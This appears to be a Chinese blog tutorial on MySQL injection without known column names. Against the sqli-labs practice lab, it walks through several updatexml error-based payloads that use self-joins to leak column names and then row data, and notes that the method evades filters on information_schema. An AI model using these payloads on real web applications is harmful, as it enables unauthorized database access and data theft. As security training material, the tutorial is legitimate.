0x00 原理

  mysql无列名注入是报错注入的一个变种,前提是已知表名,但是不知道列名,或者只知道部分列名,可通过报错注入拼接查询自身表,当自表被拼接时,由于存在重复属性列,会将列信息报错返回,这样我们就能知道表中的列名,再select 列名 from 表名 可直接查询出对应的数据。

0x01 注入方法

  这里使用sqlilabs-1来演示。

0x01.1 使用union进行无列名注入

前提条件是我们知道sqlilabs 有 security 数据库 emails 数据表 但我们不知道列名是什么。

爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b)c),0x7e),1)--+

爆第二个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+

using(id)的意思是将表通过id进行拼接,也就是说拼接两张都含有id的表,其他表中属性进行并运算拼接,如果出现重复属性则报错。

尝试爆第三列

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from emails union select * from (select * from emails as a join emails as b using(id,email_id))c),0x7e),1)--+



虽然提示 Operand should contain 1 column(s) , 其实已经查询失败了。

对爆出的email_id列进行查询

payload: ?id=1' and updatexml(1,concat(0x7e,(select concat_ws('|',id,email_id) from emails limit 0,1),0x7e),1)--+

payload: ?id=1' and updatexml(1,concat(0x7e,(select group_concat(email_id) from emails limit 0,1),0x7e),1)--+

0x01.2 不使用union进行无列名注入

爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b)c),0x7e),1)--+



出了 id 列

爆第一个列名

payload: ?id=1' and updatexml(1,concat(0x7e,(select * from (select * from emails as a join emails as b using(id))c),0x7e),1)--+



出了email_id列

查询和使用union的一样。

0x02 总结

  这种注入方式在使用正则表达式过滤了information_schema.tables,information_schema.columns等常规注入查询系统表或者过滤了table_name,column_name时非常有效!

mysql无列名注入的更多相关文章

  1. BUUCTF-web web1 (无列名注入)

    注册并登录后发现,sql注入,注入点在广告申请的界面.加单引号发现报错 先通过insert插入数据,然后再通过id查询相应的数据,所以是二次注入. 常见报错函数updatexml,floor以及ext ...

  2. Sql 中的as是什么意思 + 无列名注入解析

    相当于取别名 这里结合一下无列名注入的知识点: 这种方法在第十届SWPUCTF的web1——广告招租里考到了:

  3. swpuCTF2019 web1 无列名注入

    上周参加的swpuctf比赛第一道web题做了好久,在最后一个小时用非预期的方法做出来了,看了官方题解之后记录一下wp里面的无列名注入. 关于无列名注入可以看一下这篇链接 https://www.ch ...

  4. [GYCTF2020]Ezsqli 无列名注入

    手工注入了几下,是数字注入,过滤了 or , union 输入1||1=1   回显Nu1L 再输入 1&&(ascii(substr(database(),1,1))>32)# ...

  5. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  6. 十种MYSQL显错注入原理讲解(二)

    上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...

  7. 十种MYSQL显错注入原理讲解(一)

    开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...

  8. mysql修改列名和列类型

    MySQL中修改列名或列的数据类型 (2012-04-03 08:59:25) 转载▼ 标签: mysql 修改列名 修改列数据类型 it 分类: 数据库 参考下面链接中的语法 http://dev. ...

  9. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

随机推荐

  1. JS中EventLoop、宏任务与微任务的个人理解

    为什么要EventLoop? JS 作为浏览器脚本语言,为了避免复杂的同步问题(例如用户操作事件以及操作DOM),这就决定了被设计成单线程语言,而且也将会一直保持是单线程的.而在单线程中若是遇到了耗时 ...

  2. Prometheus 配置文件中 metric_relabel_configs 配置--转载

    Prometheus 配置文件中 metric_relabel_configs 配置 参考1:https://www.baidu.com/link?url=YfpBgnD1RoEthqXOL3Lgny ...

  3. 为什么要放弃 JSP?他们终于给出了答案

    前言 以前的项目大多数都是Java程序猿又当爹又当妈,既搞前,又搞后端. 随着时代的发展,渐渐的许多大中小公司开始把前后端的界限分的越来越明确,前端工程师只负责前端的事情,后端工程师只管后端的事情.正 ...

  4. 案例分析作业——VS和VS Code

    项目 内容 这个作业属于哪个课程 2021春季软件工程(罗杰 任健) 这个作业的要求在哪里 案例分析作业 我在这个课程的目标是 认真完成课程要求并提高相应能力 这个作业在哪个具体方面帮助我实现目标 学 ...

  5. MindSpore函数拟合

    技术背景 在前面一篇博客中我们介绍过基于docker的mindspore编程环境配置,这里我们基于这个环境,使用mindspore来拟合一个线性的函数,演示一下mindspore的基本用法. 环境准备 ...

  6. 树莓派WIFI

    树莓派WIFI设置 在"开始使用树莓派"中,我们在boot根目录下创wpa_supplicant.conf文件,实现了第一次连接wifi.以后开机后,树莓派会自动连接那个wifi. ...

  7. Python:函数解释(面向过程)

    1. 函数概述 在编程的语境下,函数 (function) 是指一个有命名的.执行某个计算的语句序列 (sequence of statements) .函数可以针对某类问题建立了通用解决步骤(算法) ...

  8. ECDSA密钥对生成以及在Token中的应用

    1 概述 本文主要讲述了如何利用Openssl生成ECDSA密钥对,并利用Auth0库进行Token生成及验证的过程. 2 ECDSA 2.1 简介 ECC(Elliptic Curve Crypto ...

  9. kafka-简介-01

    1.kafka是什么? Kafka是最初由Linkedin公司开发,是一个分布式.支持分区的(partition).多副本的(replica),基于zookeeper协调的分布式消息系统,它的最大的特 ...

  10. (二) LDAP 安装

    LDAP 安装 参考:https://blog.51cto.com/bigboss/2341986